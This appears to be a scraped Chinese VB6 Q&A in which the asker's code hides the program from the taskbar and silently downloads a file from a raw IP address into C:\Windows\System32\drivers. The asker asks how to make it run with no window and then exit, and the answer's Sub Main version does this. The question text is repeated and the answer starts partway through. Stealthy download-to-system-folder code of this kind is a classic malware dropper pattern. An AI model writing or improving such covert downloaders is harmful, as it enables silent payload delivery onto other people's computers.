只有一个FORM1窗体代码如下
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Sub Command1_Click()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
End SubPrivate Sub Form_Load()
App.TaskVisible = False
Call Command1_Click
End Sub
运行后会弹出窗体,如果才能运行后不弹出窗体,而且运行后自动结束运行VB
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Sub Command1_Click()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
End SubPrivate Sub Form_Load()
App.TaskVisible = False
Call Command1_Click
End Sub
运行后会弹出窗体,如果才能运行后不弹出窗体,而且运行后自动结束运行VB
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
End Sub4 在工程菜单中选择工程属性,确认启动对象设置为 Sub Main;5 运行。
Private Sub Main()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
End
End Sub